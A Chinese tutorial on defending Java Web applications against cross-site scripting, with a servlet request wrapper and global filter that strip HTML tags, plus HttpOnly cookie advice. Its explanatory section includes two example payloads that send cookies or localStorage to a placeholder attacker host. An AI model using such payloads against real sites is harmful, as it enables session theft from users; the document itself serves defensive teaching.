目录

  • 1. XSS攻击原理
  • 2. 抵御思路
    • 2.1 针对前端
    • 2.2 针对服务端
  • 3. 代码实现

1. XSS攻击原理

跨站脚本(XSS)攻击,指利用服务器漏洞将恶意代码以文本的形式混杂进请求数据中提交给服务器,服务器在未来渲染视图的时候会将该恶意代码也携带加载,客户端执行恶意脚本后会造成重要信息泄露。
XSS攻击的恶意代码通常是HTML标签包裹JavaScript脚本,形如<script>alert("恶意脚本")</script>,当页面中出现这种结构的文本时,浏览器会误认为是正常的标签而进行渲染。
例如,攻击者的服务器为xxx.xx.xxx.xx,它可以在超链接上裹挟脚本,通过存在漏洞的表单或者接口将此文本提交给服务器存储:

<a href=javascript:location.href="xxx.xx.xxx.xx?"+document.cookie.replaceAll("; ","&")>点我跳转</a>
<a href=javascript:location.href="xxx.xx.xxx.xx?abc="+window.localStorage.getItem("abc")>点我跳转</a>

其它用户触发该部分内容后会被流量劫持,进而将本地的Cookie和localStorage发送到了攻击者的服务器上。


2. 抵御思路

XSS攻击是利用了HTML标签转义上的漏洞实现代码注入的,所以抵御XSS的思路也应当从此入手。前端和服务端都有相应的职责来提升网站的安全性,不过数据最终是由服务端进行业务处理并持久化的,所以最终屏障应落在服务端上。

2.1 针对前端

在网站上动态渲染任意HTML元素是非常危险的,前端需谨慎书写会渲染HTML标签的操作行为,例如原生JS中的innerHTML属性、jQuery中的html()函数、Vue.js中的v-html指令,仅在可信的内容上使用,永远不要在用户提交的内容上采取这些动态渲染的操作
对于一些典型的表单和输入框提交逻辑,前端应在JS中完成初步校验,确保发送到服务端的数据具备基本的规范。

2.2 针对服务端

服务端应该站在“前端发送过来的数据极其不安全”的视角去处理,最大限度去过滤掉不规范的数据。因此,我们可以设置一个全局的过滤器,拦截所有用户请求,并将请求参数中所有的value值进行过滤(去掉HTML结构的文本上的标签,仅保留内容),例如文本<script>alert('恶意脚本')</script>最终会被转换为文本alert('恶意脚本'),因为失去了HTML结构,所以未来进行视图渲染时它不会被识别成JS代码。

此外,XSS攻击的一大重灾对象就是Cookie,Cookie的重要性不言而喻,它可能直接保存了用户的Session凭证,一旦泄露,攻击者就可以在不知道该用户账号密码的情况下虚拟该用户身份,不过好在Cookie可以在客户端上进行简单的安全设置:开启HttpOnly属性的Cookie条目将无法被JS获取,服务端只要确保返回给用户的Cookie信息中对该属性进行了设置即可。(Tomcat7、8已默认开启)


3. 代码实现

我们通过继承javax.servlet.http.HttpServletRequestWrapper来实现一个自定义装饰类,然后在该类中覆写获取请求参数的相关方法,这样便可以在不实现HttpServletRequest接口的情况下轻松的对请求方法进行增强。
获取到请求参数中的value串后,我们需要对其进行过滤,此处我们调用hutool工具包中的HtmlUtil.filter(String htmlContent)方法来去除文本中的HTML标签。

import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HtmlUtil;
import cn.hutool.json.JSONUtil;import javax.servlet.ReadListener;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import java.io.*;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;/*** 用于抵御XSS攻击的请求装饰器* StrUtil.hasEmpty用于判断是否为空字符串* HtmlUtil.filter用于过滤字符串中的HTML元素(去除标签,保留内容)*/
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {public XssHttpServletRequestWrapper(HttpServletRequest request) {super(request);}@Overridepublic String getParameter(String name) {String value = super.getParameter(name);if (!StrUtil.hasEmpty(value)) {value = HtmlUtil.filter(value);}return value;}@Overridepublic String[] getParameterValues(String name) {String[] values = super.getParameterValues(name);if (values != null) {for (int i = 0; i < values.length; i++) {String value = values[i];if (!StrUtil.hasEmpty(value)) {value = HtmlUtil.filter(value);}values[i] = value;}}return values;}@Overridepublic Map<String, String[]> getParameterMap() {Map<String, String[]> parameters = super.getParameterMap();LinkedHashMap<String, String[]> map = new LinkedHashMap<>();if (parameters != null) {for (String key : parameters.keySet()) {String[] values = parameters.get(key);if (values != null) {for (int i = 0; i < values.length; i++) {String value = values[i];if (!StrUtil.hasEmpty(value)) {value = HtmlUtil.filter(value);}values[i] = value;}}map.put(key, values);}}return map;}@Overridepublic String getHeader(String name) {String value = super.getHeader(name);if (!StrUtil.hasEmpty(value)) {value = HtmlUtil.filter(value);}return value;}@Overridepublic ServletInputStream getInputStream() throws IOException {//将in流中的内容转换成成字符串bodyInputStream in = super.getInputStream();StringBuffer body = new StringBuffer();InputStreamReader reader = new InputStreamReader(in, Charset.forName("UTF-8"));BufferedReader buffer = new BufferedReader(reader);String line = buffer.readLine();while (line != null) {body.append(line);line = buffer.readLine();}buffer.close();reader.close();in.close();//将字符串body转换为map集合,然后将其中的字符串过滤,将结果转换为JSON格式的字符串Map<String, Object> map = JSONUtil.parseObj(body.toString());Map<String, Object> resultMap = new HashMap<>(map.size());for (String key : map.keySet()) {Object value = map.get(key);if (map.get(key) instanceof String) {resultMap.put(key, HtmlUtil.filter(value.toString()));} else {resultMap.put(key, value);}}String str = JSONUtil.toJsonStr(resultMap);final ByteArrayInputStream bain = new ByteArrayInputStream(str.getBytes());//返回一个ServletInputStream对象,将ByteArrayInputStream引入return new ServletInputStream() {@Overridepublic boolean isFinished() {return false;}@Overridepublic boolean isReady() {return false;}@Overridepublic void setReadListener(ReadListener readListener) {}@Overridepublic int read() throws IOException {return bain.read();}};}
}

最后我们只需注册一个全局过滤器,将一切HTTP请求交给我们封装的请求装饰类处理即可:

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;/*** 用于抵御XSS攻击的全局过滤器*/
@WebFilter(urlPatterns = "/*")
public class XssFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {XssHttpServletRequestWrapper wrapper = new XssHttpServletRequestWrapper((HttpServletRequest) servletRequest);filterChain.doFilter(wrapper,servletResponse);}@Overridepublic void destroy() {Filter.super.destroy();}
}

对于返回给客户端的Cookie中的HttpOnly属性,只需调用Coookie.setHttpOnly(boolean isHttpOnly)方法即可进行设置。

Java Web项目抵御跨站脚本攻击(前后端共御)相关推荐

  1. 创建Java Web项目并实现前后端交互

    目录 一:使用工具 二:创建Java Web项目 三:编写代码 一:使用工具 Eclipse 版本如下: 注:不同版本的eclipse创建的项目基础目录可能会有所不同. 二:创建Java Web项目 ...

  2. 做一个完整的Java Web项目太难了,因为这些你不会!

    作者:元素侠Jason 链接:https://blog.csdn.net/JasonLiuLJX 最近自己做了几个Java Web项目,有公司的商业项目,也有个人做着玩的小项目,写篇文章记录总结一下收 ...

  3. 做一个完整的Java Web项目需要掌握的技能

    转自:  https://blog.csdn.net/JasonLiuLJX/article/details/51494048 ------------------------------------ ...

  4. 使用Intellij idea新建Java Web项目(servlet) 原理及初步使用

    准备 JDK       (配置JDK_HOME\bin   和 CLASSPATH)   注:JDK8下载已经需要注册了,请使用JDK11(现在是官方长期支持的版本)     对于我们新手来说,JD ...

  5. javaweb做什么能赚钱_做一个完整的Java Web项目需要掌握的技能

    原文链接:http://blog.csdn.net/JasonLiuLJX/article/details/51494048 最近自己做了几个Java Web项目,有公司的商业项目,也有个人做着玩的小 ...

  6. Eclipse创建java Web项目工程

    1.创建前将eclipse的编码统一改为utf-8,或项目组要求的编码形式,防止乱码.以设置UTF-8为例: 点击 window-->点击preference-->点击General--& ...

  7. [项目规范]JAVA WEB项目实施规范

    一:前言 在此将Java Web项目的实施规范做一个总结. 二:需求阶段 需求阶段主要包含需求分析和需求拆分,下面针对这两块做一个说明. 1.需求分析 需求分析是由PM撰写初稿,然后PM,DEV,FE ...

  8. 【JAVA】书店管理系统(附带前后端源码及资源)

    [JAVA_Web]书店管理系统(附带前后端源码及资源) 一.项目的目的和意义 1.1目的 在"互联网+"的大趋势下,线上销售以其简单.便捷.高效的特点受到人们的青睐.网上书店不受 ...

  9. java web项目为什么我们要放弃jsp?

    前戏: 以前的项目大多数都是java程序猿又当爹又当妈,又搞前端(ajax/jquery/js/html/css等等),又搞后端(java/mysql/Oracle等等). 随着时代的发展,渐渐的许多 ...

最新文章

  1. HTTPS(身披SSL协议的HTTP)
  2. java如何实现python的urllib.quote(str,safe='/')
  3. es6中export和export default的区别
  4. 怎么用latex写ppt呢?
  5. 两块 硬盘 主从盘跳线详解
  6. Appointment get entity debug
  7. asp.net core源码飘香:Logging组件
  8. 深入linux中重定向及管道详解
  9. 美国百亿亿次超算要比中国晚两三年,但真实性能更恐怖
  10. 浅析ERP软件企业资源的关系与发展
  11. LOJ P10147 石子合并 题解
  12. caffe安装出现 “error : too few arguments in function call” 的错误
  13. 13个最狂帅炫酷的前沿科技研究项目
  14. php仿maka,iH5和MAKA哪个好?
  15. 慕课网-安卓攻城狮视频学习及练习(六)
  16. CISSP AIO7 学习笔记 - 第一章 安全和风险管理 1.4-1.10小节
  17. autojs获取id_手把手教你使用AutoJS自动领京豆
  18. JavaScript-高级动画之产生絮条
  19. 在线去除 kindle 书籍 azw格式 DRM保护
  20. 项目管理中,如何使用进度猫管理项目里程碑

热门文章

  1. AssertionError:nbsp;Badlynbsp;…
  2. 医疗器械行业或将迎来爆发式增长
  3. CES 2018:华硕的4款外观疯狂的Wi-Fi路由器
  4. react-----props
  5. 想看懂三次握手,四次挥手?看这里!!!
  6. CentOS7配置阿里云镜像源(超详细过程)
  7. AcWing 166. 数独
  8. 项目(课题)申请书主要内容
  9. 如何坚持做美好的事儿并体面地生存?
  10. lnmp部署(一台)